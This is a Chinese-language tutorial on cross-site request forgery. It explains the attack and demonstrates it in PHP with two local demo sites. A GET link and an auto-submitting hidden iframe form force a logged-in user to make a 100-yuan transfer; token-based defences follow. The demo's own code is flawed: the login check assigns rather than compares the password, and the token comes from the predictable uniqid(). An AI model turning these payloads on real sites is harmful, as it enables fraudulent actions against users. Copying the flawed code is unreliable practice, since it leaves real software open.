CSRF概念

CSRF的全称是Cross-site request forgery,即跨站请求攻击。面试中可能问到一些流程和防范的方法。

一般的,它的攻击过程如下:

CSRF攻击

  1. 用户通过客户端浏览器登录网站A,并获取A网站返回的cookie信息,登录成功后会在A网站服务端生成一个会话信息表示登录成功。
  2. 用户在没有退出A网站的情况下,访问B网站,此时B网站是一个有风险的网站。
  3. B网站伪造了一些攻击代码,这些代码是携带用户在A网站的的信息,用户在不知情的情况下点击了该连接代码。
  4. 最后,在A网站由于没有有效的防范措施,信任了用户的这次请求,造成了用户的财产损失或数据丢失。

为什么会出现这样的情况呢?

  1. 因为cookie有一个过期时间,比如半个小时,半个小时内的会话都是登录状态的。
  2. 不能保证用户辨别哪些网站是安全网站,哪些是有风险的网站。

基于以上这两个原因用户可能点击风险网站可能造成用户的财产损失或数据丢失。

CSRF例子

为了更好的理解什么是CSRF攻击,使用PHP举个例子说明CSRF的攻击过程。

这里使用phpstudy建立两个虚拟主机www.a.com和www.b.com,如图所示

PHP中CSRF攻击

在A网站中有一个登录代码和一个转账代码

A网站登录代码 login.php

 <?php
session_start();
if( $_SERVER['REQUEST_METHOD'] === 'POST'){
	$username=$_POST['username'];
	$password=$_POST['password'];
	if ($username=='yxjc' && $password='123') {
		$_SESSION['user'] = $username;
		echo "登录成功";
	} else {
		echo "登录失败";
	}
}
?>
<body>
    <form class="login" method="post">
        <h2>CSRF登录演示</h2>
        <ul>
            <li>
                用户名:<input type="text" name="username">
            </li>
            <li>
                密码:<input type="password" name="password">
            </li>
            <li><input type="submit" value="登录"></li>
        </ul>
    </form>
</body> 

A网站转账代码omt.php

<?php
//这里演示一个转账给谁的代码
session_start();
if (isset($_SESSION['user']) && $_SESSION['user'] == 'yxjc') {
	//to是转给谁,amount是转账多少
	$to = $_REQUEST['to'];
	$amount = $_REQUEST['amount'];
	//处理转账逻辑......
	echo "给{$to}转账{$amount}元成功";
} else {
	echo "未登录"; 
}

?>

B网站的get攻击代码 csrf_get.html

<html>
<body>
<meta http-equiv="Content-Type" content="text/html;charset=utf-8">
<h2>CSRF GET攻击</h2>
<a href="http://www.a.com/omt.php?to=危险账户&amount=100">点击我</a>
</body>
</html>

PHP中CSRF攻击例子

这是在用户登录的条件下用户点击B网站的风险链接,跳转到A网站,导致用户给危险账户转账100元。

B网站的post攻击代码 csrf_post.html,这里需要用iframe框架

<html>
<body>
<meta http-equiv="Content-Type" content="text/html;charset=utf-8">
<h2>CSRF POST攻击</h2>
<iframe name="frameA" id="frameA" src="frameA.html">

</iframe>    
<script>
	var frameA=document.getElementById("frameA");
	frameA.onload=function(){
		frameA.contentWindow.document.getElementById("sumitA").submit();
	}

</script>
</body>
</html>
frameA.html代码
<html>
	<body>
		<form id="sumitA" name="sumitA" action="http://www.a.com/omt.php" method="post">
		 <input type="hidden" name="to" value="风险账户">
		 <input type="hidden" name="amount" value="100">
		</form>
	</body>
</html>
在有些浏览器中已经做了安全处理,不能使用post在三方网站提交信息,比如谷歌和火狐浏览器。

这里使用Sogou浏览器做演示如下:

PHP中CSRF攻击

上面的例子中用户首先通过地址www.a.com/login登录A网站,登录成功后,再访问地址B网站的地址www.b.com/post_csrf.html,最后发现给危险账户转账了100元。

CSRF防范

1.首先避免用get请求做数据库信息的修改,get一般用于数据库信息的查询。

2. 在post每次请求参数中增加一个令牌csrf_token字段即可,这样需要我们在A网站的后端生成一个csrf_token字段。

这里简单实现一个csrf_token函数

session_start();
function csrf_token(){
    if (isset($_SESSION['csrf_token']) && !empty($_SESSION['csrf_token'])) {
        return $_SESSION['csrf_token'];
    } else {
        //这里使用uniqid函数简单生成
        $csrf_token = uniqid();
        $_SESSION['csrf_token'] = $csrf_token;
        return $csrf_token;
    }
    
}
?>

在php大多数框架中都有csrf的防范方法,我们不需要自己去实现, 我们只需要理解CSRF的攻击概念即可。